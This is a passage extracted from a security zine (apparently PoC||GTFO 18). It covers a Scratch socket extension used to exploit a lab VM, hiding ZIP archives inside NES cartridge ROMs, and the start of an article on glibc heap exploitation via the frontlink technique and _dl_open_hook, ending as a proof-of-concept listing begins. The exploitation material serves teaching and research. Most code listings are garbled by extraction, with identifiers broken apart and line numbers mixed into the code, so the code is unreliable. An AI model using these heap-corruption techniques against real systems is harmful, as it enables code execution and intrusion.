Finally, the object is linked to the description
and the web service is then started. This Python
script is launched from the command line and will
start the web service on the given port.

d e s c r i p t o r = Desc r ip to r (
2 name = "Scratch Sockets " ,

port = 5000 ,
4 b locks = [

Block ( ’ c reate_socket ’ , ’command ’ , ’ c r e a t e %m. proto conx %m. sockno host %s port %n ’ ,
6 d e f a u l t s =[" tcp " , 1 , " 1 2 7 . 0 . 0 . 1 " , 0 ] ) ,

Block ( ’ c r e a t e_ l i s t e n e r ’ , ’command ’ ,
8 ’ c r e a t e %m. proto l i s t e n e r %m. sockno ip %s port %n ’ ,

d e f a u l t s =[" tcp " , 1 , " 0 . 0 . 0 . 0 " , 0 ] ) ,
10 Block ( ’ accept_connect ion ’ , ’command ’ , ’ accept connect ion %m. sockno ’ ,

d e f a u l t s =[1 ] ) ,
12 Block ( ’ c l o s e_socket ’ , ’command ’ , ’ c l o s e socke t %m. sockno ’ ,

d e f a u l t s =[1 ] ) ,
14 Block ( ’ i s_connected ’ , ’ p r ed i c a t e ’ , ’ s ocke t %m. sockno connected ? ’ ) ,

Block ( ’ i s_ l i s t e n i n g ’ , ’ p r ed i c a t e ’ , ’ s ocke t %m. sockno l i s t e n i n g ? ’ ) ,
16 Block ( ’ wr i te_socket ’ , ’command ’ , ’ wr i t e %s as %m. encoding to socket %m. sockno ’ ,

d e f a u l t s =[" h e l l o " , "raw" , 1 ] ) ,
18 Block ( ’ r ead l ine_socke t ’ , ’command ’ , ’ read l i n e from socket %m. sockno ’ ,

d e f a u l t s =[1 ] ) ,
20 Block ( ’ recv_socket ’ , ’command ’ , ’ read %n bytes from socket %m. sockno ’ ,

d e f a u l t s =[255 , 1 ] ) ,
22 Block ( ’ n_read ’ , ’ r e po r t e r ’ , ’ n_read from socket %m. sockno ’ ,

d e f a u l t s =[1 ] ) ,
24 Block ( ’ readbuf ’ , ’ r e po r t e r ’ , ’ r e c e i v ed buf as %m. encoding from socket %m. sockno ’ ,

d e f a u l t s =["raw" , 1 ] ) ,
26 Block ( ’ read ing ’ , ’ r e po r t e r ’ , ’ read f l a g f o r socket %m. sockno ’ ,

d e f a u l t s =[1 ] ) ,
28 Block ( ’ c l ear_read_f lag ’ , ’command ’ , ’ c l e a r read f l a g f o r socke t %m. sockno ’ ,

d e f a u l t s =[1 ] ) ,
30 ] ,

menus = dict (
32 proto = [ " tcp " , "udp" ] ,

encoding = [ "raw" , "c enc" , " u r l enc" , " base64 " ] ,
34 sockno = [ 1 , 2 , 3 , 4 , 5 ] ,

) ,
36 )

38 extens i on = Extension ( SSocket , d e s c r i p t o r )

40 i f __name__ == ’__main__ ’ :
ex tens i on . run_forever ( debug=True )
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Linking into Scratch

The web service provides the required web ser-
vice description file from its index page. Simply
browse to http://localhost:5000 and download
the Scratch 2 extension file (Scratch Scratch Sock-
ets English.s2e). To load this into Scratch we need
to use the super-secret ‘shift click’ on the File menu
to reveal the ‘Import experimental HTTP extension’
option. Navigate to the s2e file and the new blocks
will appear under ‘More Blocks’.

Fuzzing, crashing, controlling EIP, and
exploiting

In order to demonstrate the use of the extension,
I obtained and booted the TinySploit VM from
Saumil Shah’s ExploitLab, and then used the given
stack-based overflow to gain remote code execution.
The details are straight forward; the shell code by
Julien Ahrens came from ExploitDB and was modi-
fied to execute Busybox correctly.8 Scratch projects
are available as an attachment to this PDF.9

Scratch is a great language/IDE to teach cod-
ing to children. Once they’ve successfully built a
racing game and a PacMan clone, it can also be
used to teach them to interact with the world out-
side of Scratch. As I mentioned in the introduc-
tion, we’ve interfaced Scratch to Midi and Arduino
projects from where a whole world opens up. The
above screen shots show how it can also be inter-
faced to a simple TCP/IP socket extension to allow
interaction with anything on the network.

From here it is possible to cause buffer over-
flows that lead to crashes and, through standard
stack-smashing techniques, to remote code execu-
tion. When I was a child, Z-80 assembly was the
second language I learned after BASIC on a ZX
Spectrum. (The third was 8086 funnily enough!)
I hunted for infinite lives and eventually became a
reasonable C programmer. Perhaps with a (slightly
better) socket extension, Scratch could become a
gateway to x86 shell code. I wonder whether IT
teachers would agree?

—Kev Sheldrake

8https://www.exploit-db.com/exploits/43755/
9unzip pocorgtfo18.pdf scratchexploits.zip
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18:04 Concealing ZIP Files in NES Cartridges
by Vi Grey

Hello, neighbors.

This story begins with the fantastic work de-
scribed in PoC‖GTFO 14:12, which presented
an NES ROM that was also a PDF. That file,
pocorgtfo14.pdf, was by coincidence also a ZIP
file. That issue inspired me to learn 6502 Assembly,
develop an NES game from scratch, and burn it onto
a physical cartridge for the #tymkrs.

During development, I noticed that the unused
game space was just being used as padding and that
any data could be placed in that padding. Although
I ended up using that space for something else in the
game, I realized that I could use padding space to
make an NES ROM that is also a ZIP file. This
polyglot file wouldn’t make the NES ROM any big-
ger than it originally was. I quickly got to work on
this idea.

The method described in this article to create an
NES + ZIP polyglot file is different from that which
was used in PoC‖GTFO 14:12. In that method,
none of the ZIP file data is saved inside the NES
ROM itself. My method is able to retain the ZIP
file data, even when it burned onto a cartridge. If
you rip the data off of a cartridge, the resulting NES
ROM file will still be an NES + ZIP polyglot file.

Numbers and ranges included in figures in this
article will be in Hexadecimal. Range values are big-
endian and ranges work the same as Python slices,
where [x:y] is the range of x to, but not including,
y.

iNES File Format
This article focuses on the iNES file format. This
is because, as was described in PoC‖GTFO 14:12,
iNES is essentially the de facto standard for NES
ROM files. Figure 8 shows the structure of an NES
ROM in the iNES file format that fits on an NROM-
128 cartridge.10

The first sixteen bytes of the file MUST be the
iNES Header, which provides information for NES
Emulators to figure out how to play the ROM.

Following the iNES Header is the 16 KiB PRG
ROM. If the PRG ROM data doesn’t fill up that en-
tire 16 KiB, then the PRG ROM will be padded. As
long as the PRG padding isn’t actually being used,
it can be any byte value, as that data is completely
ignored. The final six bytes of the PRG ROM data
are the interrupt vectors, which are required.

Eight kilobytes of CHR ROM data follows the
PRG ROM.

Start of iNES File

iNES Header [0000:0010]

PRG ROM [0010:4010]

PRG Padding [XXxx:400A]

PRG Interrupt Vectors [400A:4010]

CHR ROM [4010:6010]

Figure 8. iNES File Format

10NROM-128 is a board that does not use a mapper and only allows a PRG ROM size of 16 KiB.
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ZIP File Format
There are two things in the ZIP file format that we
need to focus on to create this polyglot file, the End
of Central Directory Record and the Central Direc-
tory File Headers.

End of Central Directory Record

To find the data of a ZIP file, a ZIP file extractor
should start searching from the back of the file to-
wards the front until it finds the End of Central Di-
rectory Record. The parts we care about are shown
in Figure 9.

The End of Central Directory Record begins
with the four-byte big-endian signature 504B0506.

Twelve bytes after the end of the signature is
the four-byte Central Directory Offset, which states
how far from the beginning of the file the start of
the Central Directory will be found.

The following two bytes state the ZIP file com-
ment length, which is how many bytes after the ZIP
file data the ZIP file comment will be found. Two
bytes for the comment length means we have a maxi-
mum length value of 65,535 bytes, more than enough
space to make our polyglot file.

Start of End of Central Directory Record

End of Central Directory Record
Signature (504B0506) [0000:0004]

. . . [0004:0010]

Central Directory Offset [0010:0014]

Comment Length (L) [0014:0016]

ZIP File Comment [0016:0016 + L]

Figure 9. End of Central Directory Record Format

Central Directory File Headers

For every file or directory that is zipped in the ZIP
file, a Central Directory File Header exists. The
parts we care about are shown in Figure 10.

Each Central Directory File Header starts with
the four-byte big-endian signature 504B0102.

38 bytes after the signature is a four-byte Lo-
cal Header Offset, which specifies how far from the
beginning of the file the corresponding local header
is.

Start of a Central Directory File Header

Central Directory File Header
Signature (504B0102) [0000:0004]

. . . [0004:002A]

Local Header Offset [002A:002E]

. . . [002E:]

Figure 10. Central Directory File Header Format

11unzip pocorgtfo18.pdf APPNOTE.TXT
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Miscellaneous ZIP File Fun

Five bytes into each Central Directory File Header
is a byte that determines which Host OS the file
attributes are compatible for.

The document, “APPNOTE.TXT - .ZIP File
Format Specification” by PKWARE, Inc., specifies
what Host OS goes with which decimal byte value.11
I included a list of hex byte values for each Host OS
below.

1 00 − MS−DOS and OS/2
01 − Amiga

3 02 − OpenVMS
03 − UNIX

5 04 − VM/CMS
05 − Atar i ST

7 06 − OS/2 H.P.F . S .
07 − Macintosh

9 08 − Z−System
09 − CP/M

11 0A − Windows NTFS
0B − MVS (OS/390 − Z/OS)

13 0C − VSE
0D − Acorn Risc

15 0E − VFAT
0F − Alte rnate MVS

17 10 − BeOS
11 − Tandem

19 12 − OS/400
13 − OS/X (Darwin )

21 (14−FF) − Unused

Although 0A is specified for Windows NTFS and
0B is specified for MVS (OS/390 - Z/OS), I kept
getting the Host OS value of TOPS-20 when I used
0A and NTFS when I used 0B.

I ended up deciding to set the Host OS for all
of the Central Directory File Headers to Atari ST.
With that said, I have tested every Host OS value
from 00 to FF on this file and it extracted properly
for every value. Different Host OS values may pro-
duce different read, write, and execute values for the
extracted files and directories.

Start of iNES + ZIP Polyglot File

iNES Header [0000:0010]

PRG ROM [0010:4010]

PRG Padding [XXxx:YYyy]

ZIP File Data [YYyy:400A]

Comment Length (0602) [4008:400A]

PRG Interrupt Vectors [400A:4010]

CHR ROM [4010:6010]

Figure 11. iNES + ZIP Polyglot File Format

iNES + ZIP File Format

With this information about iNES files and ZIP files,
we can now create an iNES + ZIP polyglot file, as
shown in Figure 11.

Here, the first sixteen bytes of the file continue
to be the same iNES header as before.

The PRG ROM still starts in the same location.
Somewhere in the PRG Padding an amount of bytes
equal to the length of the ZIP file data is replaced
with the ZIP file data. The ZIP file data starts at
hex offset YYyy and ends right before the PRG Inter-
rupt Vectors. This ZIP file data MUST be smaller
than or equal to the size of the PRG Padding to
make this polyglot file.

Local Header Offsets and the Central Directory
Offset of the ZIP file data are updated by adding the
little-endian hex value yyYY to them and the ZIP file
comment length is set to the little-endian hex value
0602 (8,198 in Decimal), which is the length of the
PRG Interrupt Vectors plus the CHR ROM (8 KiB).

PRG Interrupt Vectors and CHR ROM data re-
main unmodified, so they are still the same as be-
fore.

Because the iNES header is the same, the PRG
and CHR ROM are still the correct size, and none
of the required PRG ROM data or any of the CHR
ROM data were modified, this file is still a com-
pletely standard NES ROM. The NES ROM file
does not change in size, so there is no extra “garbage
data” outside of the NES ROM file as far as NES
emulators are concerned.

With the ZIP file offsets being updated and all
12The only ZIP file extractor I have gotten any warnings from with this polyglot file was 7-Zip for Windows specifically, with

the warning, “The archive is open with offset.” The polyglot file still extracted properly.

20



data after the ZIP file data being declared as a ZIP
file comment, this file is a standard ZIP file that your
ZIP file extractor will be able to properly extract.12

NES Cartridge
The PRG and CHR ROMs of this polyglot file can
be burned onto EPROMs and put on an NROM-
128 board to make a completely functioning NES
cartridge.

Ripping the NES ROM from the cartridge and
turning it back into an iNES file will result in the file
being a NES + ZIP polyglot file again. It is there-
fore possible to sneak a secret ZIP file to someone
via a working NES cartridge.

Don’t be surprised if that crappy bootleg copy of
Tetris I give you is also a ZIP file containing secret
documents!

Source Code
This NES + ZIP polyglot file is a quine.13 Unzip
it and the extracted files will be its source code.14
Compile that source code and you’ll create another
NES + ZIP polyglot file quine that can then be un-
zipped to get its source code.

I was able to make this file contain its own source
code because the source code itself was quite small
and highly compressible in a ZIP file.

13unzip pocorgtfo18.pdf neszip-example.nes
14unzip neszip-example.nes
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18:05 House of Fun; or,
Heap Exploitation against GlibC in 2018

by Yannay Livneh

GlibC’s malloc implementation is a gift that
keeps on giving. Every now and then someone finds
a way to turn it on its head and execute arbitrary
code. Today is one of those days. Today, dear
neighbor, you will see yet another path to code ex-
ecution. Today you will see how you can overwrite
arbitrary memory addresses—yes, more than one!—
with a pointer to your data. Today you will see
the perfect gadget that will make the code of your
choosing execute. Welcome to the House of Fun.

The History We Were Taught

The very first heap exploitation techniques were
publicly introduced in 2001. Two papers in
Phrack 57—Vudo Malloc Tricks15 and Once Upon
a Free16—explained how corrupted heap chunks can
lead to full compromise. They presented methods
that abused the linked list structure of the heap
in order to gain some write primitives. The best
known technique introduced in these papers is the
unlink technique, attributed to Solar Designer. It
is quite well known today, but let’s explain how it
works anyway. In a nutshell, deletion of a controlled
node from a linked list leads to a write-what-where
primitive.

Consider this simple implementation of list dele-
tion:

1 void l i s t_d e l e t e ( node_t ∗node ) {
node−>fd−>bk = node−>bk ;

3 node−>bk−>fd = node−>fd ;
}

This is roughly equivalent to:

prev = node−>bk ;
2 next = node−>fd ;

∗( next + o f f s e t o f ( node_t , bk ) ) = prev ;
4 ∗( prev + o f f s e t o f ( node_t , fd ) ) = next ;

So, an attacker in control of fd and bk can write the
value of bk to (somewhat after) fd and vice versa.

This is why, in late 2004, a series of patches to
GNU libc malloc implemented over a dozen manda-
tory integrity assertions, effectively rendering the
existing techniques obsolete. If the previous sen-
tence sounds familiar, this is not a coincidence, as it
is a quote from the famous Malloc Maleficarum.17

This paper was published in 2005 and was imme-
diately regarded as a classic. It described five new
heap exploitation techniques. Some, like previous
techniques, exploited the structure of the heap, but
others introduced a new capability: allocating ar-
bitrary memory. These newer techniques exploited
the fact that malloc is a memory allocator, returning
memory for the caller to use. By corrupting various
fields used by the allocator to decide which memory
to allocate (the chunk’s size and pointers to sub-
sequent chunks), exploiters tricked the allocator to
return addresses in the stack, .got, or other places.

Over time, many more integrity checks were
added to glibc. These checks try to make sure the
size of a chunk makes sense before allocating it to
the user, and that it’s in a reasonable memory re-
gion. It is not perfect, but it helped to some degree.

Then, hackers came up with a new idea. While
allocating memory anywhere in the process’s virtual
space is a very strong primitive, many times it’s suf-
ficient to just corrupt other data on the heap, in
neighboring chunks. By corrupting the size field or
even just the flags in the size field, it’s possible to
corrupt the chunk in such a way that makes the
heap allocate a chunk which overlaps another chunk
with data the exploiter wants to control. A couple
of techniques which demonstrate it were published
in recent years, most notably Chris Evans’ The poi-
soned NUL byte, 2014 edition.18

To mitigate against these kinds of attacks, an-
other check was added. The size of a freed chunk
is written twice, once in the beginning of the chunk
and again at its end. When the allocator makes
a decision based on the chunk’s size, it verifies that

15unzip pocorgtfo18.pdf vudo.txt # Phrack 57:8
16unzip pocorgtfo18.pdf onceuponafree.txt # Phrack 57:9
17unzip pocorgtfo18.pdf MallocMaleficarum.txt
18https://googleprojectzero.blogspot.com/2014/08/
19git clone https://github.com/shellphish/how2heap || unzip pocorgtfo18.pdf how2heap.zip
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both sizes agree. This isn’t bulletproof, but it helps.
The most up-to-date repository of currently us-

able techniques is maintained by the Shellphish CTF
team in their how2heap GitHub repository.19

A Brave New Primitive
Sometimes, in order to take two steps forward we
must first take one step back. Let’s travel back in
time and examine the structure of the heap like they
did in 2001. The heap internally stores chunks in
doubly linked lists. We already discussed list dele-
tion, how it can be used for exploitation, and the
fact it’s been mitigated for many years. But list
deletion (unlinking) is not the only list operation!
There is another operation: insertion.

Consider the following code:

void l i s t_ i n s e r t_a f t e r ( prev , node ) {
2 node−>bk = prev ;

node−>fd = prev−>fd ;
4

prev−>fd−>bk = node ;
6 prev−>fd = node ;

}

The line before the last roughly translates to:

1 next = prev−>fd
∗( next + o f f s e t ( node_t , bk ) ) = node ;

An attacker in control of prev->fd can write the
inserted node address wherever she desires!

Having this control is quite common in the case
of heap-based corruptions. Using a Use-After-Free
or a Heap-Based-Buffer-Overflow, the attacker com-
monly controls the chunk’s fd (forward pointer).
Note also that the data written is not arbitrary. It’s
an address of the inserted node, a chunk on the heap
which may be allocated back to the user, or might
still be in the user’s control! So this is not only a
write-where primitive, it’s more of a write-pointer-
to-what-where.

Looking at malloc’s code, this primitive can be
quite easily employed. Insertion into lists happens
when a freed chunk is inserted into a large bin. But
more about this later. Before diving into the details
of how to use it, there are some issues we need to
clear first.

When I started writing this paper, after under-
standing the categorization of techniques I described

earlier, an annoying doubt popped into my mind.
The primitive I found in malloc’s code is very much
connected to the old unlink primitive; they are lit-
erally counterparts. How come no one had found
and published it in the early years of heap exploita-
tion? And if someone had, how come neither I nor
any of my colleagues I discussed it with had ever
heard of it?

So I sat down and read the early papers, the ones
from 2001 that everyone says contain only obsolete
and mitigated techniques. And then I learned, lo
and behold, it had been found many years ago!

History of the Forgotten Frontlink

The list insertion primitive described in the previous
section is in fact none other than the frontlink tech-
nique. This technique is the second one described in
Vudo Malloc Tricks, the very first paper about heap
exploitation from 2001. (Part 3.6.2.)

In the paper, the author says it is “less flexible
and more difficult to implement” in comparison to
the unlink technique. It is far inferior in a world with
no NX bit (DEP), as it writes a value the attacker
does not fully control, whereas the unlink technique
enables the attacker to control the written data (as
long as it’s a writable address). I believe that for
this reason the frontlink method was less popular.
And so, it has almost been completely forgotten.

In 2002, malloc was re-written as an adaptation
of Doug Lea’s malloc-2.7.0.c. This re-write refac-
tored the code and removed the frontlink macro,
but basically does the same thing upon list insertion.
From this year onward, there is no way to attribute
the name frontlink with the code the technique is
exploiting.

In 2003, William Robertson, et al., announced a
new system that “detects and prevents all heap over-
flow exploits” by using some kind of cookie-based de-
tection. They also announced it in the security focus
mailing list.20 One of the more interesting responses
to this announcement was from Stefan Esser, who
described his private mitigation for the same prob-
lem. This solution is what we now know as “safe
unlinking.”

20 https://www.securityfocus.com/archive/1/346087/30/0/
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Robertson says that it only prevents unlink at-
tacks, to which Esser responds:

I know that modifying unlink does not
protect against frontlink attacks. But
most heap exploiters do not even know
that there is anything else than unlink.

Following this correspondence, in late 2004, the
safe unlinking mitigation was added to malloc’s
code.

In 2005, the Malloc Maleficarum is published.
Here is the first paragraph from the paper:

In late 2001, “Vudo Malloc Tricks” and
“Once Upon A free()” defined the ex-
ploitation of overflowed dynamic mem-
ory chunks on Linux. In late 2004, a
series of patches to GNU libc malloc im-
plemented over a dozen mandatory in-
tegrity assertions, effectively rendering
the existing techniques obsolete.

Every paper that followed it and accounted for
the history of heap exploits has the same narrative.
In Malloc Des-Maleficarum,21 Blackeng states:

The skills published in the first one of
the articles, showed:
— unlink () method.
— frontlink () method.
. . . these methods were applicable until
the year 2004, when the GLIBC library
was patched so those methods did not
work.

And in Yet Another Free Exploitation Tech-
nique,22 Huku states:

The idea was then adopted by glibc-2.3.5
along with other sanity checks thus ren-
dering the unlink() and frontlink()
techniques useless.

I couldn’t find any evidence that supports these
assertions. On the contrary, I managed to success-
fully employ the frontlink technique on various plat-
forms from different years, including Fedora Core 4

from early 2005 with glibc 2.3.5 installed. The code
is presented later in this paper.

In conclusion, the frontlink technique never
gained popularity. There is no way to link the name
frontlink to any existing code, and all relevant pa-
pers claim it’s useless and a waste of time.

However, it works in practice today and on every
machine I checked.

Back To Completing Exploitation

At this point you might think this write-pointer-
to-what-where primitive is nice, but there is still a
lot of work to do to get control over a program’s
flow. We need to find a suitable pointer to over-
write, one which points to a struct that contains
function pointers. Then we can trigger this in-
direct function call. Surprisingly, this turns out
to be rather easy. Glibc itself has some pointers
which fit perfectly for this primitive. Among some
other pointers, the most suitable for our needs is
the _dl_open_hook. This hook is used when load-
ing a new library. In this process, if this hook is not
NULL, _dl_open_hook->dlopen_mode() is invoked
which can very much be in the attacker’s control!

As for the requirement of loading a library, fear
not! The allocator itself does it for us when an
integrity check fails. So all an attacker needs to
do is to fail an integrity check after overwriting
_dl_open_hook and enjoy her shell.23

That’s it for theory. Let’s see how we can make
it happen in the actual implementation!

The Gory Internals of Malloc

First, a short recollection of the allocator’s internals.
GlibC malloc handles it’s freed chunks in bins.

A bin is a linked list of chunks which share some
attributes. There are four types of bins: fast, un-
sorted, small, and large. The large bins contain
freed chunks of a specific size-range, sorted by size.
Putting a chunk in a large bin happens only after
sorting it, extracting it from the unsorted bin and
putting it in the appropriate small or large bin. The

21unzip pocorgtfo18.pdf mallocdesmaleficarum.txt # Phrack 66:10
22unzip pocorgtfo18.pdf yetanotherfree.txt # Phrack 66:6
23Another promising pointer is the _IO_list_all pointer, or any pointer to the FILE struct. The implications of overwriting

this pointer are explained in the House of Orange. In recent glibc versions, corruption of FILE vtables has been mitigated to
some extent, therefore it’s harder to use than _dl_open_hook. Ironically, this mitigation uses _dl_open_hook and this is how I
got to play with it in the first place. To read more about _IO_list_all and overwriting FILE vtables, see Angelboy’s excellent
HITCON 2016 CTF qualifier post. To see how to bypass the mitigation, see my own 300 CTF challenge.
unzip pocorgtfo18.pdf 300writeup.md
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sorting process happens when a user requests an al-
location which can’t be satisfied by the fast or small
bins. When such a request is made, the allocator it-
erates over the chunks in the unsorted bin and puts
each chunk where it belongs. After sorting the un-
sorted bin, the allocator applies a best-fit algorithm
and tries to find the smallest freed chunk that can
satisfy the user’s request. As a large bin contains
chunks of multiple sizes, every chunk in the bin not
only points to the previous and next chunk (bk and
fd) in the bin but also points to the next and previ-
ous chunks which are smaller and bigger than itself
(bk_nextsize and fd_nextsize). Chunks in a large
bin are sorted by size, and these pointers speed up
the search for the best fit chunk.

Figure 13 illustrates a large bin with seven
chunks of three sizes. Figure 12 contains the rel-
evant code from _int_malloc.24

Here, the size variable is the size of the victim
chunk which is removed from the unsorted bin. The
logic in lines 3566–3620 tries to determine between
which bck and fwd chunks it should be inserted.
Then, in lines 3622–3626, it is actually inserted into
the list. In the case that the victim chunk belongs in
a small bin, bck and fwd are trivial. As all chunks
in a small bin have the same size, it does not mat-
ter where in the bin it is inserted, so bck is the
head of the bin and fwd is the first chunk in the bin
(lines 3568–3573). However, if the chunk belongs in
a large bin, as there are chunks of various sizes in
the bin, it must be inserted in the right place to keep
the bin sorted.

If the large bin is not empty (line 3581) the code
iterates over the chunks in the bin with a decreasing
size until it finds the first chunk that is not smaller
than the victim chunk (lines 3599–3603). Now, if
this chunk is of a size that already exists in the bin,
there is no need to insert it into the nextsize list, so
just put it after the current chunk (lines 3605–3607).
If, on the other hand, it is of a new size, it needs
to be inserted into the nextsize list (lines 3608–
3614). Either way, eventually set the bck accord-
ingly (line 3615) and continue to the insertion of the
victim chunk into the linked list (lines 3622–3626).

The Frontlink Technique in 2018
So, remembering our nice theories, we need to con-
sider how can we manipulate the list insertion to
our needs. How can we control the fwd and bck
pointers?

When the victim chunk belongs in a small bin,
these values are hard to control. The bck is the ad-
dress of the bin, an address in the globals section of
glibc. And the fwd address is a value written in this
section. bck->fd which means it’s a value written
in glibc’s global section. A simple heap vulnera-
bility such as a Use-After-Free or Buffer Overflow
does not let us corrupt this value in any immediate
way, as these vulnerabilities usually corrupt data on
the heap. (A different mapping entirely from glibc.)
The fast bins and unsorted bin are equally unhelp-
ful, as insertion to these bins is always done at the
head of the list.

So our last option to consider is using the large
bins. Here we see that some data from the chunks
is used. The loop which iterates over the chunks
in a large bin uses the fd_nextsize pointer to set
the value of fwd and the value of bck is derived
from this pointer as well. As the chunk pointed by
fwd must meet our size requirement and the bck
pointer is derived from it, we better let it point to
a real chunk in our control and only corrupt the
bk of this chunk. Corrupting the bk means that
line 3626 writes the address of the victim chunk
to a location in our control. Even better, if the
victim chunk is of a new size that does not previ-
ously exist in the bin, lines 3611–3612 insert this
chunk to the nextsize list and write its address to
fwd->bk_nextsize->fd_nextsize. This means we
can write the address of the victim chunk to another
location. Two writes for one corruption!

In summary, if we corrupt a bk and bk_nextsize
of a chunk in the large bin and then cause mal-
loc to insert another chunk with a bigger size,
this will overwrite the addresses we put in bk and
bk_nextsize with the address of the freed chunk.

24All code glibc code snippets in this paper are from version 2.24.
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3504 while ( ( v ict im = unsorted_chunks ( av )−>bk) != unsorted_chunks ( av ) )
3505 {
3506 bck = victim−>bk ;
. . .
3511 s i z e = chunks ize ( v ict im ) ;
. . .
3549 /∗ remove from unsorted l i s t ∗/
3550 unsorted_chunks ( av )−>bk = bck ;
3551 bck−>fd = unsorted_chunks ( av ) ;
3552
3553 /∗ Take now ins tead of binning i f exact f i t ∗/
3554
3555 i f ( s i z e == nb)
3556 {
. . .
3561 void ∗p = chunk2mem ( vict im ) ;
3562 a l loc_perturb (p , bytes ) ;
3563 return p ;
3564 }
3565
3566 /∗ p lace chunk in bin ∗/
3567
3568 i f ( in_smallbin_range ( s i z e ) )
3569 {
3570 victim_index = smallbin_index ( s i z e ) ;
3571 bck = bin_at ( av , victim_index ) ;
3572 fwd = bck−>fd ;
3573 }
3574 else
3575 {
3576 victim_index = largebin_index ( s i z e ) ;
3577 bck = bin_at ( av , victim_index ) ;
3578 fwd = bck−>fd ;
3579
3580 /∗ maintain l a r ge b ins in sor ted order ∗/
3581 i f ( fwd != bck )
3582 {
3583 /∗ Or with inuse b i t to speed comparisons ∗/
3584 s i z e |= PREV_INUSE;
3585 /∗ i f smal l er than smal l e s t , bypass loop below ∗/
3586 a s s e r t ( ( bck−>bk−>s i z e & NON_MAIN_ARENA) == 0) ;
3587 i f ( ( unsigned long ) ( s i z e ) < (unsigned long ) ( bck−>bk−>s i z e ) )
3588 {
3589 fwd = bck ;
3590 bck = bck−>bk ;
3591
3592 victim−>fd_nexts ize = fwd−>fd ;
3593 victim−>bk_nextsize = fwd−>fd−>bk_nextsize ;
3594 fwd−>fd−>bk_nextsize = victim−>bk_nextsize−>fd_nexts ize = vict im ;
3595 }
3596 else
3597 {
3598 a s s e r t ( ( fwd−>s i z e & NON_MAIN_ARENA) == 0) ;
3599 while ( ( unsigned long ) s i z e < fwd−>s i z e )
3600 {
3601 fwd = fwd−>fd_nexts ize ;
3602 a s s e r t ( ( fwd−>s i z e & NON_MAIN_ARENA) == 0) ;
3603 }
3604
3605 i f ( ( unsigned long ) s i z e == (unsigned long ) fwd−>s i z e )
3606 /∗ Always i n s e r t in the second pos i t i on . ∗/
3607 fwd = fwd−>fd ;
3608 else
3609 {
3610 victim−>fd_nexts ize = fwd ;
3611 victim−>bk_nextsize = fwd−>bk_nextsize ;
3612 fwd−>bk_nextsize = vict im ;
3613 victim−>bk_nextsize−>fd_nexts ize = vict im ;
3614 }
3615 bck = fwd−>bk ;
3616 }
3617 }
3618 else
3619 victim−>fd_nexts ize = victim−>bk_nextsize = vict im ;
3620 }
3621
3622 mark_bin ( av , victim_index ) ;
3623 victim−>bk = bck ;
3624 victim−>fd = fwd ;
3625 fwd−>bk = vict im ;
3626 bck−>fd = vict im ;
. . .
3631 }

Figure 12. Extract of _int_malloc.
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The Frontlink Technique in 2001

For the sake of historical justice, the following is the
explanation of the frontlink technique concept from
Vudo Malloc Tricks.25

This is the code of list insertion in the old im-
plementation:

#define f r o n t l i n k ( A, P, S , IDX, BK, FD ) {\
i f ( S < MAX_SMALLBIN_SIZE ) { \

IDX = smallbin_index ( S ) ; \
mark_binblock ( A, IDX ) ; \
BK = bin_at ( A, IDX ) ; \
FD = BK−>fd ; \
P−>bk = BK; \
P−>fd = FD; \
FD−>bk = BK−>fd = P; \

[ 1 ] } else { \
IDX = bin_index ( S ) ; \
BK = bin_at ( A, IDX ) ; \
FD = BK−>fd ; \
i f ( FD == BK ) { \

mark_binblock (A, IDX) ; \
} else { \

[ 2 ] while (FD != BK \
&& S < chunks ize (FD) ) { \

[ 3 ] FD = FD−>fd ; \
} \

[ 4 ] BK = FD−>bk ; \
} \
P−>bk = BK; \
P−>fd = FD; \

[ 5 ] FD−>bk = BK−>fd = P; \
} \

}

And this is the description:

If the free chunk P processed by
frontlink() is not a small chunk, the
code at line 1 is executed, and the proper
doubly-linked list of free chunks is tra-
versed (at line 2) until the place where
P should be inserted is found. If the
attacker managed to overwrite the for-
ward pointer of one of the traversed
chunks (read at line 3) with the ad-
dress of a carefully crafted fake chunk,
they could trick frontlink() into leav-
ing the loop (2) while FD points to this
fake chunk. Next the back pointer BK
of that fake chunk would be read (at
line 4) and the integer located at BK plus
8 bytes (8 is the offset of the fd field
within a boundary tag) would be over-

written with the address of the chunk P
(at line 5).

Bear in mind the implementation was somewhat
different. The P referred to is the equivalent to
our victim pointer and there was no secondary
nextsize list.

The Universal Frontlink PoC

In theory we see both editions are the very same
technique, and it seems what was working in 2001
is still working in 2018. It means we can write one
PoC for all versions of glibc that were ever released!

Please, dear neighbor, compile the code in Fig-
ure 14 and execute it on any machine with any ver-
sion of glilbc and see if it works. I have tried it
on Fedora Core 4 32-bit with glibc-2.3.5, Fedora 10
32-bit live, Fedora 11 32-bit and Ubuntu 16.04 and
17.10 64-bit. It worked on all of them.

We already covered the background of how the
overwrite happens, now we have just a few small
details to cover in order to understand this PoC in
full.

Chunks within malloc are managed in a struct
called malloc_chunk which I copied to the PoC.
When allocating a chunk to the user, malloc uses
only the size field and therefore the first byte the
user can use coincides with the fd field. To get
the pointer to the malloc_chunk, we use mem2chunk
which subtracts the offset of the fd field in the
malloc_chunk struct from the allocated pointer
(also copied from glibc).

The prev_size of a chunk resides in the last
sizeof(size_t) bytes of the previous chunk. It
may only be accessed if the previous chunk is not
allocated. But if it is allocated, the user may write
whatever she wants there. The PoC writes the string
“YES” to this exact place.

Another small detail is the allocation of
ALLOCATION_BIG sizes. These allocations have two
roles: First they make sure that the chunks are not
coalesced (merged) and thus keep their sizes even
when freed, but they also force the allocator to sort
the unsorted bin when there is no free chunk ready
to server the request in a normal bin.

Now, the crux of the exploit is exactly as in the-
ory. Allocate two large chunks, p1 and p2. Free and
corrupt p2, which is in the large-bin. Then free and
insert p1 into the bin. This insertion overwrites the

25unzip pocorgtfo18.pdf vudo.txt # Phrack 57:8
26Note that the loop in the beginning of the PoC main fills the per-thread caching mechanism introduced in GlibC version 2.26
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1 #include <std i o . h>
#include <s t d l i b . h>

3 #include <as s e r t . h>
#include <s t r i n g . h>

5 #include <stdde f . h>

7 /∗ Copied from g l i b c −2.24 malloc/malloc . c ∗/
#ifndef INTERNAL_SIZE_T

9 #define INTERNAL_SIZE_T size_t
#endif

11
/∗ The corresponding word s i z e ∗/

13 #define SIZE_SZ ( s izeo f (INTERNAL_SIZE_T) )

15 struct malloc_chunk {
INTERNAL_SIZE_T prev_size ; /∗ Size of prev ious chunk ( i f f r e e ) . ∗/

17 INTERNAL_SIZE_T s i z e ; /∗ Size in bytes , inc lud ing overhead . ∗/

19 struct malloc_chunk∗ fd ; /∗ double l i n k s −− used only i f f r e e . ∗/
struct malloc_chunk∗ bk ;

21
/∗ Only used for l a r ge b l o ck s : po in ter to next l a r g e r s i z e . ∗/

